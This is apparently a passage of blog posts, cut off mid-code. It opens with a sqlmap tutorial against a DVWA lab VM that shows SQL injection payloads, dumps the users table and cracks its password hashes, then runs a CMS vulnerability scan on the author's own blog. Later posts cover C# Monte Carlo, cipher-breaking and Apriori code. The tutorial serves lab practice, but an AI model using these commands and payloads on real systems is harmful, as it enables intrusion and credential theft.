Often one thinks that Sql Injection is just used to inject code in to a database however, sql injection can also be used to enumerate through a whole host of commands that can sometimes lead to complete control of the entire server. Here we are going to simply show you how to list all the databases in the server, get the tables and data.

This is a brief overview of how to test for sql injections using sqlmap. For this we are going to attack a Damn Vulnerable Web Application Virtual Machine and Back Track. Once the virtual machine is up and running login in the site (in this example the ip is 192.168.0.103), and set the security to low.

Navigate to http://192.168.0.103/vulnerabilities/sqli/ and enter a value in to the text box. Open a shell and and navigate to /pentest/database/sqlmap. You will also need a program to get cookie and session info like the Tamper Data plugin for firefox.

Get A List Of All The Databases In The Database.

To build the string to run the command you’ll need the following things.

1. URL: http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#
2. Cookie: PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low
3. Column Name: Surname

You’ll notice that once you’ve enter a value in to the text box of sqli page it returns some data where some of the text that is commonly returned would be Surname.

Run the following command: “./sqlmap.py -u ‘http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#’ –cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” –string=”Surname” –dbs“.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#' --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string="Surname" --dbs

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:53:39

[21:53:39] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:53:39] [INFO] resuming injection data from session file
[21:53:39] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:53:39] [INFO] testing connection to the target url
[21:53:39] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&Submit=Submit
---

[21:53:39] [INFO] manual usage of GET payloads requires url encoding
[21:53:39] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:53:39] [INFO] fetching database names
[21:53:39] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': information_schema, cdcol, dvwa, mysql, phpmyadmin, test
available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

[21:53:39] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:53:39

Here are the results:

available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

The one we are interested in is dvwa.

To List The Tables Of A Single Database.

One we have our list of databases we keep the url and cookie session data but we add some of the following fields.

1. Select Database: -D dvwa
2. Get Tables: –tables

Run the following command: “./sqlmap.py -u ‘http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#’ –cookie=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” -D dvwa –tables”

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#' --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" -D dvwa --tables

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:05

[21:54:05] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:05] [INFO] resuming injection data from session file
[21:54:05] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&Submit=Submit
---

[21:54:05] [INFO] manual usage of GET payloads requires url encoding
[21:54:05] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:05] [INFO] fetching tables for database: dvwa
[21:54:05] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': dvwa, guestbook, dvwa, users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[21:54:05] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:54:05

Here are the tables from the dvwa database:

[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Get Data From A Table

To get the data and columns of a table you need the following items – in this example we are going to get the table from the users table.

1. Select Database: -D dvwa
2. Get Tables: –tables
3. Select Table: -T users –dump

Run the following command: “./sqlmap.py -u ‘http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#’ –cookie=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” -D dvwa -T users –dump“.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#' --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" -D dvwa -T users --dump

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:26

[21:54:26] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:26] [INFO] resuming injection data from session file
[21:54:26] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&Submit=Submit
---

[21:54:26] [INFO] manual usage of GET payloads requires url encoding
[21:54:26] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:26] [INFO] fetching columns for table 'users' on database 'dvwa'
[21:54:26] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': user_id, int(6), first_name, varchar(15), last_name, varchar(15), user, varchar(15), password, varchar(32), avatar, varchar(70)
[21:54:26] [INFO] fetching entries for table 'users' on database 'dvwa'
recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q] Y
[21:54:28] [INFO] using hash method: 'md5_generic_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[21:54:29] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[21:54:32] [INFO] starting dictionary attack (md5_generic_passwd)
[21:54:32] [INFO] found: 'abc123' for user: 'gordonb'
[21:54:32] [INFO] found: 'charley' for user: '1337'
[21:54:33] [INFO] found: 'letmein' for user: 'pablo'
[21:54:33] [INFO] found: 'password' for user: 'admin'
Database: dvwa
Table: users
[5 entries]
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

[21:55:10] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/192.168.0.103/dump/dvwa/users.csv'
[21:55:10] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:55:10

root@bt:/pentest/database/sqlmap#

Results

And as you can see when you use the accompanying dictionary in Back Track you sometimes break the password hash as an added bonus.

+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

So I am studying for the OSCP (Offensive Security Certified Professional) certification and I’ve been playing around with some of the more obscure items in the Back Track Linux Distribution. One such item is CMS Explorer that enumerates through content management systems plug-ins and themes to look for vulnerabilities in the Drupal, WordPress, Joomla!, Mambo CMS.

The syntax is fairly straightforward and the results are fairly accurate. The cool thing is that it can tie in to the OSVDB database but you need to do two things to make it work properly.

1. Sign up for a OSVDB api account.
2. Navigate to the /pentest/enumeration/web/cms-explorer directory and create a blank file called osvdb.key
3. In that file place your api key.
4. Run it! ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

Here are the results for my blog. As you can see this site is fairly light and all the vulnerabilities according to OSVDB are “unknown impact and attack vectors ” or listed as “flagged as being a Myth/Fake”.

1. http://osvdb.org/37290
2. http://osvdb.org/62683
3. http://osvdb.org/56762

Only downside for this enumeration is that it is fairly slow and can take up to an hour or more to run.

root@bt:/pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

*******************************************************
Beginning run against http://eric.ness.net/...
Testing themes from wp_themes.txt...
Theme Installed:		wp-content/themes/monochrome/
Testing plugins...
Plugin Installed:		wp-content/plugins/akismet/
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
Plugin Installed:		wp-content/plugins/codesnippet-20/
Plugin Installed:		wp-content/plugins/contact-form-7/
Plugin Installed:		wp-content/plugins/sexybookmarks/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
Plugin Installed:		wp-content/plugins/tweet-blender/
Plugin Installed:		wp-content/plugins/wp-cache/
Plugin Installed:		wp-content/plugins/wp-pagenavi/

*******************************************************
Summary:
Theme Installed:		wp-content/themes/monochrome/
	URL			http://eric.ness.net/wp-content/themes/monochrome/
	SVN			http://themes.svn.wordpress.org/wp-content/themes/monochrome/
Plugin Installed:		wp-content/plugins/akismet/
	URL			http://eric.ness.net/wp-content/plugins/akismet/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/akismet/trunk/
	http://osvdb.org/37290	Akismet for WordPress akismet.php Unspecified Issue
	http://osvdb.org/62683	WordPress wp-content/plugins/akismet/akismet.php add_action() Function Path Disclosure
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
	URL			http://eric.ness.net/wp-content/plugins/all-in-one-seo-pack/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/all-in-one-seo-pack/trunk/
Plugin Installed:		wp-content/plugins/codesnippet-20/
	URL			http://eric.ness.net/wp-content/plugins/codesnippet-20/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/codesnippet-20/trunk/
Plugin Installed:		wp-content/plugins/contact-form-7/
	URL			http://eric.ness.net/wp-content/plugins/contact-form-7/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/contact-form-7/trunk/
Plugin Installed:		wp-content/plugins/sexybookmarks/
	URL			http://eric.ness.net/wp-content/plugins/sexybookmarks/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/sexybookmarks/trunk/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
	URL			http://eric.ness.net/wp-content/plugins/syntaxhighlighter/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/syntaxhighlighter/trunk/
Plugin Installed:		wp-content/plugins/tweet-blender/
	URL			http://eric.ness.net/wp-content/plugins/tweet-blender/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/tweet-blender/trunk/
Plugin Installed:		wp-content/plugins/wp-cache/
	URL			http://eric.ness.net/wp-content/plugins/wp-cache/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-cache/trunk/
	http://osvdb.org/56762	WP Super Cache for WordPress wp-cache-phase1.php plugin Parameter Remote File Inclusion
Plugin Installed:		wp-content/plugins/wp-pagenavi/
	URL			http://eric.ness.net/wp-content/plugins/wp-pagenavi/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-pagenavi/trunk/

Let me say I am a huge fan of Monte Carlo Simulations. For those of you who are not familiar with Monte Carlo Simulations – Monte Carlo Simulations use random numbers and a model to simulate an outcome or event but the real strength in Monte Carlo Simulations is that you repeat the simulation hundreds if not thousands of times. After running the simulation, the results as a whole give you some great insight in to possible outcomes you can expect. The results are often more robust and accurate than other methods like regressions.

For this tutorial, I am going to replicate the core functionality of this report from Lumenaut. The model itself has a couple of fixed costs: Labor, Price per Widget and Rent. The model also has two variable items: Variable Cost per Widget and Number of Widgets Sold. So just like in real life if I want to figure out how much profit I am going to make I need to subtract my total costs from my revenue.

But, where we see the strength of a Monte Carlo Simulation is that it says let’s take a look at this model again but, maybe I can buy my widgets a little cheaper and maybe I can sell a couple more. In addition, every month is a little different some you sell a couple more some a couple of less.

To simulate this we need to use some random numbers but a normal random number generator will not work because that will give us a uniform distribution. Some random number for a Monte Carlo Simulation needs to have very specific distributions: normal, log, triangular, gamma, or something else to better simulate real life. The React.NET library gives us a very easy simple way to simulate all of these very easily.

So for Lumenaut’s model we need two normal distribution random number generators and the profit model outlined in the excel table and following graph. Please note that the Cost Per Widget is 5 with a standard deviation of 0.5 and the Number of Widgets Sold is 2,000 with a standard deviation of 200.

Here is the code I use.

using System.Collections.Generic;
using React.Distribution;

namespace MonteCarloSimulation.Models
{
    /// <summary>
    /// Monte Carlo Simulation
    /// </summary>
    public class MonteCarloModel
    {
        private const double FixedCost = 170000;
        private const double FixedSellingPrice = 100;
        private readonly double _costPerWidget;
        private readonly double _costPerWidgetSd;
        private readonly double _numOfSimulations;
        private readonly double _numOfWidgetSd;
        private readonly double _numOfWidgets;
        public int NumberOfSimulations = 10000;
        public List<double> RESULTS = new List<double>();

        /// <summary>
        /// Initializes a new instance of the <see cref="MonteCarloModel"/> class.
        /// </summary>
        /// <param name="costPerWidget">The cost per widget.</param>
        /// <param name="costPerWidgetSd">The cost per widget sd.</param>
        /// <param name="numOfWidgets">The num of widgets.</param>
        /// <param name="numOfWidgetSd">The num of widget sd.</param>
        /// <param name="numOfSimulations">The num of simulations.</param>
        public MonteCarloModel(double costPerWidget,
                               double costPerWidgetSd,
                               double numOfWidgets,
                               double numOfWidgetSd,
                               double numOfSimulations)
        {
            _costPerWidget = costPerWidget;
            _costPerWidgetSd = costPerWidgetSd;
            _numOfWidgets = numOfWidgets;
            _numOfWidgetSd = numOfWidgetSd;
            _numOfSimulations = numOfSimulations;
            Run();
        }

        /// <summary>
        /// Runs the Monte Carlo Simulation
        /// </summary>
        private void Run()
        {
            // Set up our Normal distributions with the mean, and the Standard Deviation
            var costPerWidgetDist = new Normal(_costPerWidget, _costPerWidgetSd);
            var numberOfWidgetDist = new Normal(_numOfWidgets, _numOfWidgetSd);

            for (int i = 0; i < _numOfSimulations; i++)
            {
                // Get the next ranom number for our model
                double costPerWidget = costPerWidgetDist.NextDouble();
                double numberOfWidgetsSold = numberOfWidgetDist.NextDouble();

                // Calculate the revenue
                double revenue = numberOfWidgetsSold*FixedSellingPrice;

                // Calculate the costs
                double cost = (costPerWidget*numberOfWidgetsSold + FixedCost);

                // Add result to our results list
                RESULTS.Add(revenue - cost);
            }
        }
    }
}

Here is a little display I put together and as you can see, the results are very similar; they will not be exactly the same as there is a random component to all of this.

Download the code!

Note:
There are a number of things to note here:

1. This is nowhere near production code (read as good code) – it is simply for you to look at and get you going down the road to Monte Carlo Simulations. I think I spent all of 30 minutes putting it together so don’t expect anything nice and neat. :-)
2. I had to remove the Dundas graphing library, as I cannot distribute it per my license. But, it should work just fine with the Microsoft graphing library.
3. Enjoy!

One of my favorite programmers is Peter Norvig who is currently Director of Research at Google. This summer I picked up a book called Beautiful Data in which Norvig contributed a chapter called “Natural Language Corpus Data” in which he outlined a number of very cool things you can do with n-grams in the google corpus. It covers some of the things you’d imagine that it would cover: spelling correction, word segmentation, etc. The one item covered that I had never considered was in the area of cryptanalysis.

The cool thing is that Google will give you their corpus to download. The only problem is that it contains “1,024,908,267,229 words of running text” and is 24 GB compressed in size. This is a bit impractical to run on your dev box. Enter Microsoft – the Microsoft Web N-gram Service just went Beta and is now available to Professors and Students so I immediately signed up and I have to say that it pretty cool!

So I wanted to try out the new service using one of Norvig’s examples in his book – specifically using n-gram probabilities and character shifting. This is a very simple example and fairly basic type of encryption where the if the user types an ‘a’ it gets shifted to ‘n’ or whatever. So you simply run through all 26 possibilities and use the individual words combined probabilities to determine the answer to the encoded message.

This project has a Service Refrence connected to Microsoft’s n-Gram Service. The service requires an n-gram model and a user id which you get when you sign up (see their quickstart tutorial). So let’s take a look at some code:

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using MicrosoftNGramTest.NGramService;

namespace MicrosoftNGramTest.classes
{
    internal class Shift
    {
        #region Variables

        private readonly string _alphabet = "abcdefghijklmnopqrstuvwxyz";
        private readonly string _ngramModel = ConfigurationManager.AppSettings.Get("ngramModel");
        private readonly string _userToken = ConfigurationManager.AppSettings.Get("userToken");

        #endregion

        #region Run The Test

        /// <summary>
        /// Runs the test
        /// </summary>
        public void Test()
        {
            // Print title
            Console.WriteLine("Character Shift Cryptanalysis");
            Console.WriteLine("#############################");

            // Local Variables
            const string phrase = "Yvfgra, qb lbh jnag gb xabj n frperg?";
            string[] words = phrase.ToLower().Split(' ');
            var newPhrase = new string[26];
            var client = new LookupServiceClient();
            var result = new Dictionary<string, int>();

            try
            {
                // Loop the word variations
                foreach (string s in words)
                {
                    char[] currentWord = s.ToCharArray();

                    foreach (char c in currentWord)
                    {
                        for (int i = 0; i < 26; i++)
                        {
                            newPhrase[i] += CharShift(c, i);
                        }
                    }

                    for (int i = 0; i < newPhrase.Count(); i++)
                    {
                        newPhrase[i] += " ";
                    }
                }

                // Print phrases with probabilities
                foreach (string s in newPhrase)
                {
                    string[] newWords = s.Split(' ');
                    double prob = 0;
                    foreach (string word in newWords)
                    {
                        prob += client.GetProbability(_userToken, _ngramModel, word);
                    }
                    Console.WriteLine(s + " " + Convert.ToInt32(prob));
                    result.Add(s, Convert.ToInt32(prob));
                }

                // Print answer
                Console.WriteLine();
                Console.WriteLine("The answer is:");
                KeyValuePair<string, int> q = (from t in result
                                               orderby t.Value descending
                                               select t).FirstOrDefault();
                Console.WriteLine(q.Key + " " + q.Value);
            }
            finally
            {
                client.Close();
            }
        }

        #endregion

        #region Shifting

        /// <summary>
        /// Gets the alphabet array.
        /// </summary>
        /// <returns></returns>
        private char[] GetAlphabetArray()
        {
            return _alphabet.ToCharArray();
        }

        /// <summary>
        /// Gets the current char array position.
        /// </summary>
        /// <param name="c">The c.</param>
        /// <returns></returns>
        private int GetCurrentCharArrayPosition(char c)
        {
            int position = 0;
            int count = 0;

            foreach (char letter in GetAlphabetArray())
            {
                if (letter == c)
                {
                    position = count;
                }
                count++;
            }
            return position;
        }

        /// <summary>
        /// Shifts the character.
        /// </summary>
        /// <param name="c">The c.</param>
        /// <param name="increase">The increase.</param>
        /// <returns></returns>
        private char CharShift(char c, int increase)
        {
            const int numOfLetters = 26;
            char[] alphabet = GetAlphabetArray();
            int currentArrayPosition = GetCurrentCharArrayPosition(c);
            char letter = c;

            if (IsCharInArray(c))
            {
                if ((currentArrayPosition + increase) < numOfLetters)
                {
                    letter = alphabet[currentArrayPosition + increase];
                }
                else
                {
                    int newPosition = (currentArrayPosition + increase) - numOfLetters;
                    letter = alphabet[newPosition];
                }
            }
            return letter;
        }

        /// <summary>
        /// Determines whether the char is in the array.
        /// </summary>
        /// <param name="c">The c.</param>
        /// <returns>
        /// 	<c>true</c> if [is char in array] [the specified c]; otherwise, <c>false</c>.
        /// </returns>
        private bool IsCharInArray(char c)
        {
            bool isCharInArray = false;
            IEnumerable<char> q = (from t in GetAlphabetArray()
                                   where t == c
                                   select t);
            if (q.Count() > 0)
            {
                isCharInArray = true;
            }
            return isCharInArray;
        }

        #endregion
    }
}

And here is the result!

I came across Katie Lewis’s portfolio site today and I think it is amazing.

I also wanted to post some various screen print sites that I like as well:

imbueUK

Feed Your Wall

lazinc

Prescription Art

Hang Up Pictures

Art Republic.com

Auction Saboteur

Hand Made Posters

Paper Monster

Air Monkey

Renegagn On Fine Art

Pure Evil Clothing

Shop At Lazarides

Blk/Mrkt Gallery

ArtNet Auctions

myartbroker.co.uk

liveauctioneers.com

No Walls Gallery

Art Toko

Gallery D-7

ZArts

Art Fact

ARTWRX

INOP SHOP

So I am starting a masters in Software Engineering at the University of Maryland University College Harvard University Extension School. I ended up checking out numerous programs and it was kind of interesting some of items that became important to me.

1. Online: I kind of knew that I would probably need a program that is at least partly online. This is mainly due to the fact that my work often requires me to travel often for up to two weeks at a time.
2. Program Type: I am in kind of a weird place academically. I graduated with a Bachelors of Science in Information Technology even though I considered myself to be in the Computer Science program. I actually took all the required classes for the Comp Sci degree with the exception of all the math. This is now a bit of a detriment because I could have used about two more math classes that most masters programs require. It really leaves me at looking at Software Engineering or Business Intelligence DB programs.
3. Computer Science Programs: Interestingly enough there are many aspects to Computer Science that I am not interested in: namely many programs have you focus in a particular area (i.e. graphics). The only focus area that really interests me is Machine Learning and often this gets put under AI – which often is not really the same.
4. DC – Area: The DC area is kind of a strange place to look for schools. There are only a couple of programs that are actually convenient for me to travel to: George Washington, American, Georgetown, Howard and the University of the District of Columbia. But, truth be told I am actually not really interested in any of these schools for various reasons.

[Update] It’s been a while since I wrote this post but, I found out that Harvard actually has a great software engineering program and so I switched. There are some awesome classes, with some amazing people… and a couple that scare the crap out of me.

I’ve been meaning to get in to the Data Mining SDK at code plex for a while as it has a couple of good items in it. The one item I was really interested in was the apriori algorithm.

Wikipedia describes Apriori:

In computer science and data mining, Apriori is a classic algorithm for learning association rules. Apriori is designed to operate on databases containing transactions (for example, collections of items bought by customers, or details of a website frequentation). Other algorithms are designed for finding association rules in data having no transactions (Winepi and Minepi), or having no timestamps (DNA sequencing).

The classic example is if you own a store and someone buys milk what is the probability that he will also buy bread and eggs or if voters in one state voted for one issue what is the chance he voted for something else. The applications for this approach are pretty much limitless.

The code in the SDK is pretty good with a couple of exceptions: there is little documentation and it only supports XML files and OleDb data connections. I have reworked it so it will also connect to a MSSQL database.

For this test application I created a simple C# Console Application and imported the “APriori” project in to the solution. In the APriori project you will to add these two bits of code to classes to the APriori project:

Add this method to DataAccessLayer.cs

	public Data GetTransactionsData(string rdbmsConnectionString, string dataSource)
        {
            myDatabase = new Data();
            string query = "SELECT * FROM " + dataSource;
            var myConn = new SqlConnection(rdbmsConnectionString);
            var myDBAdapter = new SqlDataAdapter(query, myConn);

            myConn.Open();
            try
            {
                myDBAdapter.Fill(myDatabase, "TransactionTable");
            }
            finally
            {
                myConn.Close();
            }
            return myDatabase;
        }

Add this method to DataMining.cs

public Data MarketBasedAnalysis(double supportCount, double minimumConfidence, string connectionString, string dataSource)
        {

            Database database = new Database();
            ItemsetCandidate Item = new ItemsetCandidate();

            this.AP = new APriori.Apriori();
            this.AP.ProgressMonitorEvent += new ProgressMonitorEventHandler(this.OnProgressMonitoringCompletedEvent);
            this.dataBase = database.GetTransactionsData(connectionString, dataSource);
            database.Transactions = this.dataBase;
            this.transactionsCount = this.dataBase.TransactionTable.Count;

            supportCount = ((supportCount / 100) * this.transactionsCount);

            minimumConfidence = (minimumConfidence / 100);

            string support = "SupportCount >= " + supportCount + " AND Level > 1";

            string sort = "SupportCount, Level";
            ItemsetCandidate uniqueItems = AP.CreateOneItemsets(database);
            AP.AprioriGenerator(uniqueItems, database, Convert.ToInt32(supportCount));
            ItemsetArrayList[] keys = database.GetItemset(support, sort);
            string msg = "Creating Frequent Subsets for Items";
            ProgressMonitorEventArgs e = new ProgressMonitorEventArgs(1, 100, 95, "DataMining.MarketBasedAnalysis(3)", msg);
            this.OnProgressMonitorEvent(e);

            for (int counter = 0; counter < keys.Length; counter++)
            {
                AP.CreateItemsetSubsets(0, keys[counter], null, database);
            }

            msg = "Completed C#.NET Data Mining Market Based Analysis";
            e = new ProgressMonitorEventArgs(1, 100, 100, "DataMining.MarketBasedAnalysis(3)", msg);
            this.OnProgressMonitorEvent(e);

            //Set the public properties of the class
            this.minimumSupportCount = supportCount;
            this.minimumConfidence = minimumConfidence;
            this.connectionString = connectionString;
            this.dataSource = dataSource;
            this.dataSourceCommand = dataSourceCommand;

            //return the database of transactions
            return this.dataBase;

        }

Here is my class in my console application

using System;
using System.Data;
using VISUAL_BASIC_DATA_MINING_NET;
using VISUAL_BASIC_DATA_MINING_NET.CustomEvents;

namespace APr2.classes
{
    internal class testrun
    {
        private Data _dataAnalysis;
        public event ProgressMonitorEventHandler ProgressMonitorEvent;

        /// <summary>
        /// Runs the Apriori.
        /// </summary>
        public void RunApriori()
        {
            // Create Data Mining Object
            var myDM = new DataMining();

            // Register Event
            myDM.ProgressMonitorEvent += OnProgressMonitorEvent;

            // Connect To Data Base & Process Items
            _dataAnalysis = myDM.MarketBasedAnalysis(2,             // Support Count
                                                     2,             // Minimum Confidence
                                                     @"Data Source=(local);Initial Catalog=Apriori;Integrated Security=True;", // Connection String
                                                     "Example");    // Table in db

            // Copy to Data View
            var dataView = new ViewData();
            _dataAnalysis.Tables.Add(dataView.CreateViewRulesTable(2, _dataAnalysis).Copy());
